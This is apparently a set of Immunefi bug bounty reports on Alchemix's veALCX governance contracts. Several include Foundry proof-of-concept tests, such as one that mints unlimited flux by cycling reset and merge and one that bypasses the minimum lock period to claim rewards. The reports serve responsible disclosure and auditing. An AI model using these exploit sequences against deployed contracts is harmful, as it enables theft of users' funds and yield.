Override the `renounceOwnership` function in `RevenueHandler` to make it redundant, ensuring that ownership cannot be unintentionally or maliciously renounced. This can be achieved by either removing the function body or reverting any calls to it:

```solidity
function renounceOwnership() public override onlyOwner {
    revert("Operation not permitted");
}
```

### OOS: Medium severity

### **Brief/Intro**

The **AlchemicTokenV2Base** contract is integral to managing upgradeable alchemic tokens, yet it currently lacks a designated storage gap. Such a gap is pivotal for safely introducing new state variables in future contract versions without disturbing the existing storage layout. The omission of this storage gap could result in inadvertent overwriting of state variables in derived contracts, which could lead to significant disruptions or even financial losses.

### **Vulnerability Details**

#### **Components Affected**

* Contract Name: **`AlchemicTokenV2Base`**
* Functionality: Upgradeability and State Variable Management

### **Impact Details**

The **AlchemicTokenV2Base** contract is designed to facilitate the upgradeable framework of the token system. Without a storage gap, there's a substantial risk that any future additions of state variables could overwrite existing variables in contracts that inherit from this base.

**Proposed fix:**

```solidity
contract AlchemicTokenV2Base is ERC20Upgradeable, AccessControlUpgradeable, IERC3156FlashLender, ReentrancyGuardUpgradeable {
    uint256[50] private __gap; // Added storage gap to safeguard future upgrades
}
```

### **References**

* Refer to the OpenZeppelin documentation on this topic: [**OpenZeppelin Upgradeable Contracts, Storage Gaps**](https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#storage-gaps)

### Proof of Concept

**All required POCs are with the respective reports above**


# 31272 - \[SC - Low] Approved user cant merge tokens not approved fo...

Submitted on May 16th 2024 at 01:14:43 UTC by @OxAlix2 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31272

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

To merge 2 tokens into 2, a user must be either approved or owner of both tokens. This is obvious in the following checks in `VotingEscrow::merge`:

```
require(_isApprovedOrOwner(msg.sender, _from), "not approved or owner");
require(_isApprovedOrOwner(msg.sender, _to), "not approved or owner");
```

It also calls `_burn` which clears the approval of the "from" token, however, it's clearing it wrong as it calls `approve(address(0), _tokenId);`, which checks if the caller is the owner or approved for all, it doesn't allow "regular" approved users (which makes sense).

## Vulnerability Details

This blocks approved users (not for all) from merging 2 tokens, as the TX will revert in `approve`, which is not intended. The protocol should use `_clearApproval(owner, _tokenId);` instead.

## Impact Details

Approved users (not for all) aren't able to merge tokens.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol#L1567>

## Proof of Concept

```
function testApprovedCantMerge() public {
    uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
    uint256 tokenId2 = createVeAlcx(beef, TOKEN_100K, MAXTIME / 2, false);

    hevm.prank(admin);
    veALCX.approve(beef, tokenId1);

    assertEq(veALCX.getApproved(tokenId1), beef);
    assertEq(veALCX.ownerOf(tokenId2), beef);

    hevm.prank(beef);
    vm.expectRevert(abi.encodePacked("sender is not owner or approved"));
    veALCX.merge(tokenId1, tokenId2);
}
```


# 31276 - \[SC - High] BPT can be locked for only week resulting in u...

Submitted on May 16th 2024 at 03:32:46 UTC by @marchev for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31276

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Theft of unclaimed yield

## Description

## Brief/Intro

The 80/20 ALCX/WETH BPT has a minimum lock period of 1 epoch (2 weeks). However, a flaw allows malicious actors to lock their BPT for just 1 week, resulting in unfair ALCX reward distribution. This means a malicious actor can unfairly claim rewards without meeting the minimum 2-week lock requirement.

## Vulnerability Details

The `_createLock()` function is responsible for creating a lock when depositing Balancer Pool Tokens in `VotingEscrow`. It should enforce a minimum lock period of 1 epoch (2 weeks):

```sol
    function _createLock(
        uint256 _value,
        uint256 _lockDuration,
        bool _maxLockEnabled,
        address _to
    ) internal returns (uint256) {
	    // ...
        uint256 unlockTime = /** ... */ ((block.timestamp + _lockDuration) / WEEK) * WEEK;

        // ...
        require(unlockTime >= (((block.timestamp + EPOCH) / WEEK) * WEEK), "Voting lock must be 1 epoch");

        // ...
    }
```

However, this check is flawed. A malicious actor can lock BPTs for just 1 week instead of the required 2 weeks. This allows them to unjustly receive rewards as if they had locked their BPTs for a whole epoch, effectively stealing rewards from other participants.

**Example Scenario:**

* Next epoch starts at `1717632000` (Thu Jun 06 2024 00:00:00 UTC)

1. Alice locks 1 BPT for `2 weeks` (1 epoch) at `block.timestamp = 1716422401` (Thu May 23 2024 00:00:01 UTC)
2. Bob locks 1 BPT for `7 days + 1 seconds` at `block.timestamp = 1717027199` (Wed May 29 2024 23:59:59 UTC)
3. The epoch resets on `1717632000` (Thu Jun 06 2024 00:00:00 UTC)

**Expected behavior:** Bob should not be able to lock his BPT for less than 1 epoch (2 weeks).

**Actual behavior:** Alice and Bob receive equal rewards.

Bob circumvents the minimum lock duration check. Here’s why:

```sol
block.timestamp = 1717027199

unlockTime = ((block.timestamp + _lockDuration) / WEEK) * WEEK

unlockTime = ((1717027199 + 7 days + 1 seconds) / WEEK) * WEEK

unlockTime = 1717632000
```

The check performed:

```
unlockTime >= (((block.timestamp + EPOCH) / WEEK) * WEEK)

1717632000 >= (((1717027199 + 2 weeks) / 1 weeks) * 1 weeks)

1717632000 >= 1717632000
```

The check passes for Bob, even though his lock time is only `7 days + 1 second`.

## Impact Details

The flawed minimum lock time check allows users to lock BPTs for only 1 week but still receive rewards for a full epoch. This results in unfair reward distribution, with malicious users effectively stealing rewards from others.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L1375-L1381>

## Proof of Concept

The following coded PoC demonstrates the issue.

Add the following test case to `VotingEscrow.t.sol`:

```sol
    function test_can_create_lock_for_less_than_1_epoch() public {
        console.log(newEpoch());

        address alice = address(1337);
        vm.label(alice, "Alice");
        address bob = address(31337);
        vm.label(bob, "Bob");

        // Mint Alice & Bob some BPT
        deal(bpt, alice, 10e18);
        deal(bpt, bob, 10e18);

        // Warp time to exactly 2 weeks before the new epoch
        hevm.warp(newEpoch() - 2 weeks); 

        hevm.startPrank(alice);
        IERC20(bpt).approve(address(veALCX), 1e18);
        uint256 aliceTokenId = veALCX.createLock(1e18, 2 weeks, false);
        voter.reset(aliceTokenId);
        // Alice locks 1 BPT for 2 weeks (the minimum lock period) and reset the tokenId
        hevm.stopPrank();

        // Warp time to 7 days and 2 seconds before the next epoch starts
        hevm.warp(newEpoch() - (7 days + 2 seconds));

        hevm.startPrank(bob);
        IERC20(bpt).approve(address(veALCX), 1e18);
        uint256 bobTokenId = veALCX.createLock(1e18, 7 days + 1 seconds, false);
        // Bob succeeds in locking 1 BPT for 7 days + 1 seconds which is less than the required minimum lock period of 1 epoch (2 weeks)
        voter.reset(bobTokenId);
        hevm.stopPrank();

        // Warp time to the start of the new epoch
        hevm.warp(newEpoch());

        // Distribute the rewards
        voter.distribute();

        // Print the unclaimed rewards accrued by Alice & Bob
        console.log("Unclaimed ALCX (Alice): %s", distributor.claimable(aliceTokenId));
        console.log("Unclaimed FLUX (Alice): %s", flux.getUnclaimedFlux(aliceTokenId));

        console.log("Unclaimed ALCX (Bob): %s", distributor.claimable(bobTokenId));
        console.log("Unclaimed FLUX (Bob): %s", flux.getUnclaimedFlux(bobTokenId));
    }
```

Make sure the following entries are updated in `Makefile`:

```sh
# file to test 
FILE=VotingEscrow

# specific test to run
TEST=test_can_create_lock_for_less_than_1_epoch
```

Run the PoC via:

```sh
make test_file_test
```

PoC output:

```sh
Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] test_can_create_lock_for_less_than_1_epoch() (gas: 3647937)
Logs:
  Unclaimed ALCX (Alice): 1023262077024604404512
  Unclaimed FLUX (Alice): 38356132673449616
  Unclaimed ALCX (Bob): 1023262077024604404512
  Unclaimed FLUX (Bob): 19178113901412783

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 45.46s (33.49s CPU time)

Ran 1 test suite in 46.90s (45.46s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31277 - \[SC - Insight] The user can propose with less voting power tha...

Submitted on May 16th 2024 at 03:55:34 UTC by @cryptoticky for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31277

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Brief/Intro

The user can propose with less voting power than proposalThreshold.

## Vulnerability Details

This error arises from the difference between the timing of calculating votingPower and proposalThreshold.

L2Governor.sol

```
require(
            getVotes(_msgSender(), block.timestamp - 1) >= proposalThreshold(),
            "Governor: veALCX power below proposal threshold"
        );
```

the votingPower is calculated at `block.timestamp - 1`.

but

```
function proposalThreshold() public view override(L2Governor) returns (uint256) {
        return (token.getPastTotalSupply(block.timestamp) * proposalNumerator) / PROPOSAL_DENOMINATOR;
    }
```

`proposalThreshold` is calculated at `block.timestamp` In `block.timestamp`, `VotingEscrow.totalSupplyAtT` becomes smaller than at `block.timestamp - 1` point. If a withdraw occurs at this point, it makes more changes. An attacker may artificially carry out withdraw to make the `VotingEscrow.totalSupplyAtT` smaller. Or the attacker can propose in the same transaction as soon as a user withdraw a large amount.

## Impact Details

By lowering the minimum unit price to create an offer, it makes it easier for an attacker to generate a malicious offer.

## Proof of Concept

```
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract AlchemixGovernorPoCTest is BaseTest {
    function setUp() public {
        setupContracts(block.timestamp);
    }

    function craftTestProposal()
    internal
    view
    returns (address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description)
    {
        targets = new address[](1);
        targets[0] = address(voter);
        values = new uint256[](1);
        values[0] = 0;
        calldatas = new bytes[](1);
        calldatas[0] = abi.encodeWithSelector(voter.whitelist.selector, usdc);
        description = "Whitelist USDC";
    }

    function testProposePoC1() public {
        uint256 targetTokenId = createVeAlcx(admin, TOKEN_1 * 4 - 5000, MAXTIME, false);
        uint256 userTokenId = createVeAlcx(beef, TOKEN_1 * 96, MAXTIME, false);
        uint256 votingPower = governor.getVotes(admin, block.timestamp);
        uint256 proposalThreshold = governor.proposalThreshold();

        // votingPower < proposalThreshold
        assertLt(votingPower, proposalThreshold, "votingPower >= proposalThreshold");

        hevm.startPrank(admin);

        hevm.warp(block.timestamp + 1);

        (address[] memory t, uint256[] memory v, bytes[] memory c, string memory d) = craftTestProposal();
        // this call is not failed.
        governor.propose(t, v, c, d, MAINNET);

        hevm.stopPrank();
    }

}
```


# 31280 - \[SC - Critical] Malicious user can mint unlimited flux tokens

Submitted on May 16th 2024 at 05:35:05 UTC by @MahdiKarimi for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31280

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
* Theft of unclaimed yield

## Description

## Brief/Intro

A malicious user can mint unlimited flux by calling reset ( to receive claimable flux ) and merging it with another token and calling reset again to claim again and repeat this process and mint unlimited flux.

## Vulnerability Details

Users earn flux proportion to the amount of veALCX they hold at each epoch, they can use claimable flux for boosting voting power, mint flux tokens or add It to their unclaimed value through the reset function of the voter contract so they can use it in the future. The merge function ensures users didn't vote in the same epoch that they want to merge the token to prevent double calculation of claimable flux by checking `voted[]` mapping, however, users can call reset to receive claimable flux ( it's added to unclaimed flux ), since reset function sets voted to false and only updates lastVoted ( which doesn't affect merging ) user can merge the token with another token and receive the claimable amount again.

Scenario: A malicious user creates two different locks ( first with 100 locked value and second with 1 lock value ), flux per veALCX in this epoch is 1, user calls the reset function at voter contract and claims 100 flux for token1 and then merges token1 with the token2, and call reset for token2 and receives 101 flux ( while user received 100 flux before merge ), user earned 201 flux in this epoch instead of 101 tokens, user can create another small lock and merge the token2 with new lock and call reset again and repeat this process to mint unlimited flux.

## Impact Details

The attacker can use unlimited flux tokens to boost voting power and direct emission to a specific gauge ( direct theft of unclaimed yield )

Minting unlimited flux tokens leads flux price to 0 ( Direct theft of any user funds, whether at rest or in motion, other than unclaimed yield ) , the flux token is used as a reward for users but it's an ERC20 and can be traded in markets ( has some utilities ) so minting unlimited flux affects all flux holders ( not just rewarded users ) and leads to the loss of their assets that's why I believe it's considered direct theft of user funds.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L183-L192> <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L618-L651>

## Proof of Concept

```
      function testMintUnlimitedFlux() external {

        // create 2 lock tokens for user 
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, veALCX.MAXTIME(), false);
        uint256 tokenId2 = createVeAlcx(admin, TOKEN_1, veALCX.MAXTIME(), false);

        // calculate the amount flux tokens that user should be able to claim in this epoch 
        uint256 token1Flux = veALCX.claimableFlux(tokenId1);
        uint256 token2Flux = veALCX.claimableFlux(tokenId2);
        uint256 totalClaimable = token1Flux + token2Flux;

        // user calls reset for token1, so claimable flux for token 1 is added to unclaimed amount of token1 
        hevm.prank(admin);
        voter.reset(tokenId1);

        // user merges token1 and token2, so unclaimed amount of token1 is added to token2 unclaimed 
        hevm.prank(admin);
        veALCX.merge(tokenId1, tokenId2);

        // user calls reset for token2, so claiamble amount is added to unclaimed 
        // due to merge amount of token1 has been added to token2 and effects claimable flux despite that flux for that amount is being added to unclaimed flux already  
        hevm.prank(admin);
        voter.reset(tokenId2);

        uint256 unclaimedFlux = flux.getUnclaimedFlux(tokenId2);
        // user has more flux that totalClaimable at first place 
        assert(unclaimedFlux > totalClaimable);
        // token1Flux is double claculated during claiming flux  
        // NOTE: used assert Approx due to precision loss during calculation of claimable amount 
        uint256 claimed = 2 * token1Flux + token2Flux;
        assertApproxEqAbs(claimed, unclaimedFlux, 100000000);

        // malicious user can repeat this to mint unlimited flux 
    }
```


# 31281 - \[SC - Low] Approved spender cannot withdraw or merge

Submitted on May 16th 2024 at 07:15:47 UTC by @OxAnmol for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31281

Report type: Smart Contract

Report severity: Low

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Temporary freezing of NFTs

## Description

## Brief/Intro

Users who are approved, but do not own a particular NFT, are supposed to be eligible to call merge and withdraw from the NFT.

Currently, *`_burn()`, used by `merge()` and `withdraw()` to remove the NFT from the system, will revert unless the sender is the owner of the NFT as the public `approve` called inside* `_burn` requires the sender to be the owner or operator.

## Vulnerability Details

The merge function and withdraw function is calling internal `_burn`

```solidity
function merge(uint256 _from, uint256 _to) external {
        ...SNIP...
        _burn(_from, value0);
        _depositFor(_to, value0, end, _locked1.maxLockEnabled, _locked1, DepositType.MERGE_TYPE);
    }
```

Now if we have a look at `_burn` it calls the public `approve` function to set the token approval to `address(0)`

```solidity
  function _burn(uint256 _tokenId, uint256 _value) internal {
        address owner = ownerOf(_tokenId);

        // Update the total supply of deposited tokens
        uint256 supplyBefore = supply;
        uint256 supplyAfter = supplyBefore - _value;
        supply = supplyAfter;

        // Clear approval
        //@audit-issue This will revert for approved users
        approve(address(0), _tokenId);
        // Checkpoint for gov
        _moveTokenDelegates(delegates(owner), address(0), _tokenId);
        // Remove token
        _removeTokenFrom(owner, _tokenId);
        emit Transfer(owner, address(0), _tokenId);
        emit Supply(supplyBefore, supplyAfter);
    }
```

The main issue lies in this `approve`, which checks if the `msg.sender` is the owner and operator of the tokenId.

```solidity
 function approve(address _approved, uint256 _tokenId) public {
        address owner = idToOwner[_tokenId];
        // Throws if `_tokenId` is not a valid token
        require(owner != address(0), "owner not found");
        // Throws if `_approved` is the current owner
        require(_approved != owner, "Approved is already owner");
        // Check requirements
        bool senderIsOwner = (owner == msg.sender);
        bool senderIsApprovedForAll = (ownerToOperators[owner])[msg.sender];
        //@audit-issue Check will fail for the approved user who calls merge and withdraw
  ->>   require(senderIsOwner || senderIsApprovedForAll, "sender is not owner or approved");
        // Set the approval
        idToApprovals[_tokenId] = _approved;
        emit Approval(owner, _approved, _tokenId);
    }
```

The `approve` function implementation itself is correct if the external users call it but in this case the merge and withdraw is also using the same function which causes the issue.

### Note

The same issue was also submitted in the Velodrome c4 audit back in 2022. In that case, the problem was the same but the cause was different. <https://github.com/code-423n4/2022-05-velodrome-findings/issues/66>

### Recommendation

Instead of calling approve it is recommended to set the approval to address(0) or delete it directly.

```diff
 function _burn(uint256 _tokenId, uint256 _value) internal {
        address owner = ownerOf(_tokenId);

        // Update the total supply of deposited tokens
        uint256 supplyBefore = supply;
        uint256 supplyAfter = supplyBefore - _value;
        supply = supplyAfter;

        // Clear approval
-        approve(address(0), _tokenId);
+         idToApprovals[tokenId] = address(0);
        // Checkpoint for gov
        _moveTokenDelegates(delegates(owner), address(0), _tokenId);
        // Remove token
        _removeTokenFrom(owner, _tokenId);
        emit Transfer(owner, address(0), _tokenId);
        emit Supply(supplyBefore, supplyAfter);
    }
```

## Impact Details

approved user is unable to execute ordinary operations due to a logic flaw which can freeze the NFT for them temporarily.

As per this impact i belive the high is appropriate according to severity guidelines which accounts `Temporary freezing of NFT` as High.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L649>

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L772>

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L510>

## Proof of Concept

Paste this test inside `VotingEscrow.t.sol`. The test will pass on revert expectation as the merge is called by approved user.

```solidity
function testMergeTokensRevertEvenWhenCallerIsApproved() public {
        uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(admin, TOKEN_100K, MAXTIME / 2, false);
        // Approve both token to Beef
        hevm.startPrank(admin);
        veALCX.approve(beef, tokenId1);
        veALCX.approve(beef, tokenId2);
        hevm.stopPrank();
        hevm.startPrank(beef);

        uint256 lockEnd1 = veALCX.lockEnd(tokenId1);

        assertEq(lockEnd1, ((block.timestamp + MAXTIME) / ONE_WEEK) * ONE_WEEK);
        assertEq(veALCX.lockedAmount(tokenId1), TOKEN_1);

        // Vote to trigger flux accrual
        hevm.warp(newEpoch());

        address[] memory pools = new address[](1);
        pools[0] = alETHPool;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;
        voter.vote(tokenId1, pools, weights, 0);
        voter.vote(tokenId2, pools, weights, 0);

        voter.distribute();

        hevm.warp(newEpoch());

        // Reset to allow merging of tokens
        voter.reset(tokenId1);
        voter.reset(tokenId2);

        uint256 unclaimedFluxBefore1 = flux.getUnclaimedFlux(tokenId1);
        uint256 unclaimedFluxBefore2 = flux.getUnclaimedFlux(tokenId2);
        hevm.expectRevert(abi.encodePacked("sender is not owner or approved"));
        veALCX.merge(tokenId1, tokenId2); // This will revert but it shouldn't
        hevm.stopPrank();
    }
```


# 31284 - \[SC - Insight] cancel should allow to cancel the proposal of t...

Submitted on May 16th 2024 at 11:26:54 UTC by @OxG0P1 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31284

Report type: Smart Contract

Report severity: Insight

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/AlchemixGovernor.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Brief/Intro

cancel() does not allow to cancel proposals which are Expired.

## Vulnerability Details

The state of being "Expired" depends on the GRACE\_PERIOD of the timelock, and the GRACE\_PERIOD may be altered due to upgrades. Once the GRACE\_PERIOD of the timelock is changed, the state of the proposal may also be altered, so "Expired" is not necessarily the final state.

## Impact Details

Funds in the Timelock will be lost.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/governance/L2Governor.sol#L445-L448> <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/governance/L2Governor.sol#L625-L627>

## Proof of Concept

Consider the following scenario:

Alice submits Proposal A to stake 20,000 ETH to a DeFi protocol, and it successfully passes. However, it cannot be executed because there are now only 15,000 ETH in the timelock (due to other proposals consuming the funds), and then Proposal A expires.

Subsequently, the DeFi protocol gets hacked or rug-pulled.

Meanwhile, Proposal B is about to be executed to upgrade the timelock and extend the GRACE\_PERIOD (for example, by 7 days). Alice wants to cancel Proposal A, but she cannot because it is in the "Expired" state.

Proposal B is then executed, causing Proposal A to change from "Expired" to "Queued." A malicious user sends 5,000 ETH to the timelock and immediately executes Proposal A, sending 20,000 ETH to the hacked protocol.


# 31293 - \[SC - High] Voters who withdraw veLACX tokens risk losing g...

Submitted on May 16th 2024 at 15:21:17 UTC by @xBentley for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31293

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Permanent freezing of unclaimed yield

## Description

## Brief/Intro

Voters who withdraw their veLACX tokens without first claiming bribe rewards will permanently lose their rewards since the withdraw function does not automatically send the rewards.

## Vulnerability Details

When withdrawing veLACX tokens, token owners have to complete at least 3 steps:

(i) Call src/Voter.sol::reset(uint256 \_tokenId) if they've voted (ii) Call src/VoterEscrow\.sol::startCooldown(uint256 \_tokenId) (iii) Wait for cooldown period to end (iv) Call src/VoterEscrow\.sol::withdraw(uint256 \_tokenId)

The withdraw function burns the tokenId effectively handing over ownership to the address(0) as can be seen from this function:

```solidity
/**
     * @notice Remove a token from a given address
     * @dev Throws if `_from` is not the current owner.
     */
    function _removeTokenFrom(address _from, uint256 _tokenId) internal {
        // Throws if `_from` is not the current owner
        require(idToOwner[_tokenId] == _from);
        // Change the owner
        idToOwner[_tokenId] = address(0);
        // Update owner token index tracking
        _removeTokenFromOwnerList(_from, _tokenId);
        // Change count tracking
        ownerToTokenCount[_from] -= 1;
    }
```

Once this is set, it becomes impossible for the owner of the token to claim any bribe rewards since src/Voter.sol::claimBribes requires that the caller be owner or a permitted account:

```solidity
/// @inheritdoc IVoter
    function claimBribes(address[] memory _bribes, address[][] memory _tokens, uint256 _tokenId) external {
        require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId));

        for (uint256 i = 0; i < _bribes.length; i++) {
            IBribe(_bribes[i]).getRewardForOwner(_tokenId, _tokens[i]);
        }
    }
```

Therefore, calling withdraw in order to close the token position before claiming bribe rewards will therefore permanently lock the rewards.

## Impact Details

veALCX token owners risk permanently locking bribe rewards.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L851>

## Proof of Concept

Add this test to src/test/VotingEscrow\.t.sol:

```solidity
// Withdraw enabled after lock expires
    function testWithdrawLostBribeRewards() public {
        hevm.prank(admin);
        
        uint256 tokenId = veALCX.createLock(TOKEN_1, THREE_WEEKS, false);

        address bribeAddress = voter.bribes(address(sushiGauge));

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        uint256 balanceStart = IERC20(bal).balanceOf(bribeAddress);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;
        hevm.startPrank(admin);
        voter.vote(tokenId, pools, weights, 0);
        
        uint256 earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId);
        console.log(earnedBribes1);
        console.log(IERC20(bal).balanceOf(admin));
        hevm.warp(newEpoch());
        voter.distribute();
        voter.reset(tokenId);
        veALCX.startCooldown(tokenId);

        hevm.warp(newEpoch());

        veALCX.withdraw(tokenId);
        earnedBribes1 = IBribe(bribeAddress).earned(bal, tokenId);
        assertGt(earnedBribes1,0);
        assertEq(IERC20(bal).balanceOf(admin),0);
        hevm.expectRevert();
        voter.claimBribes(bribes, tokens,tokenId);
    }
```


# 31295 - \[SC - High] Newly created gauge may missed out on its rewards

Submitted on May 16th 2024 at 17:25:04 UTC by @Lin511 for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31295

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

Newly created gauge may missed out on its rewards when the first distribute took place, due to the incorrect use of memory variables.

## Vulnerability Details

In Voter.\_distribute(), `claimable[_gauge]` is assigned to a memory variable `_claimable`, then `claimable[_gauge]` is reset to zero.

```solidity
    function _distribute(address _gauge) internal {
        // Distribute once after epoch has ended
        require(
            block.timestamp >= IMinter(minter).activePeriod() + IMinter(minter).DURATION(),
            "can only distribute after period end"
        );

        uint256 _claimable = claimable[_gauge];

        // Reset claimable amount
        claimable[_gauge] = 0;

        _updateFor(_gauge);

        if (_claimable > 0) {
            IBaseGauge(_gauge).notifyRewardAmount(_claimable);
        }

        ...
    }
```

After that `claimable[_gauge]` is updated in \_updateFor(\_gauge).

```solidity
    function _updateFor(address _gauge) internal {
        require(isGauge[_gauge], "invalid gauge");

        address _pool = poolForGauge[_gauge];
        uint256 _supplied = weights[_pool];
        if (_supplied > 0) {
            uint256 _supplyIndex = supplyIndex[_gauge];
            uint256 _index = index; // get global index0 for accumulated distro
            supplyIndex[_gauge] = _index; // update _gauge current position to global position
            uint256 _delta = _index - _supplyIndex; // see if there is any difference that need to be accrued
            if (_delta > 0) {
                uint256 _share = (uint256(_supplied) * _delta) / 1e18; // add accrued difference for each supplied token
@>                claimable[_gauge] += _share;
            }
        } else {
            supplyIndex[_gauge] = index;
        }
    }

```

At last, if `_claimable` is greater than zero, reward will be send to gauge.\
There is a problem with that `_claimable` is a memory variable, when `claimable[_gauge]` be updated, `_claimable` is not along with it, so there is a scenario that gauge won't receive it's reward on it's first distribute:\
1, `createGauge()` called, gauge A created.\
2, some one vote for it.\
3, minter called `notifyRewardAmount()`.\
4, some one call `distribute()`, it's the first distribute of gauge A, when contracts runs to `distribute(guage A)`, `claimable[_gauge]` is greater than zero but `_claimable` is equal to zero, so gauge A missed out on it's reward this time.

## Impact Details

Contracts may not work as intended, in the worst-case scenario, if the distribute() function is called only once, newly created guage could lose its rewards.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L366-L375> <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L481>

## Proof of Concept

```solidity
// SPDX-License-Identifier: GPL-3
pragma solidity ^0.8.15;

import "./BaseTest.sol";
import "forge-std/console.sol";

contract VotingTest2 is BaseTest {
    function setUp() public {
        setupContracts(block.timestamp);
    }

    function testNewlyCreatedGauge() public {

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;
        hevm.prank(voter.admin());
        // Gauge A created.
        console.log("Gauge A created.");
        address gauge = voter.createGauge(sushiPoolAddress, IVoter.GaugeType.Passthrough);

        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
        hevm.prank(admin);
        // Some one vote for the pool related to gauge A.
        console.log("Some one vote for the pool related to gauge A.");
        voter.vote(tokenId, pools, weights, 0);
        assertEq(alcx.balanceOf(gauge), 0);

        // Give minter some ethers.
        deal(address(alcx), address(minter), TOKEN_100K);

        hevm.startPrank(address(minter));
        require(alcx.approve(address(voter), TOKEN_100K), 'approve failed');
        // Minter call notifyRewardAmount().
        console.log("Minter call notifyRewardAmount().");
        voter.notifyRewardAmount(TOKEN_100K);
        hevm.stopPrank();

        // First distribute of gauge A, no rewards received.
        // sushiPoolAddress is the reward receiver of gauge A, so we just need to monitor it's alcx balance.
        console.log("First distribute of gauge A, no rewards received.");
        uint256 balanceBefore = alcx.balanceOf(sushiPoolAddress);
        hevm.warp(minter.activePeriod() + minter.DURATION());
        voter.distribute();
        uint256 balanceAfter = alcx.balanceOf(sushiPoolAddress);
        assertEq(balanceBefore, balanceAfter);

        // Only by distribute again, gauge A can receive its rewards.
        console.log("Only by distribute again, gauge A can receive its rewards.");
        balanceBefore = alcx.balanceOf(sushiPoolAddress);
        hevm.warp(minter.activePeriod() + minter.DURATION() + minter.DURATION());
        voter.distribute();
        balanceAfter = alcx.balanceOf(sushiPoolAddress);
        assertGt(balanceAfter, balanceBefore);
    }

}
```


# 31298 - \[SC - Medium] Anyone can let users delegates reach the upper ...

Submitted on May 16th 2024 at 19:24:04 UTC by @yttriumzz for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31298

Report type: Smart Contract

Report severity: Medium

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

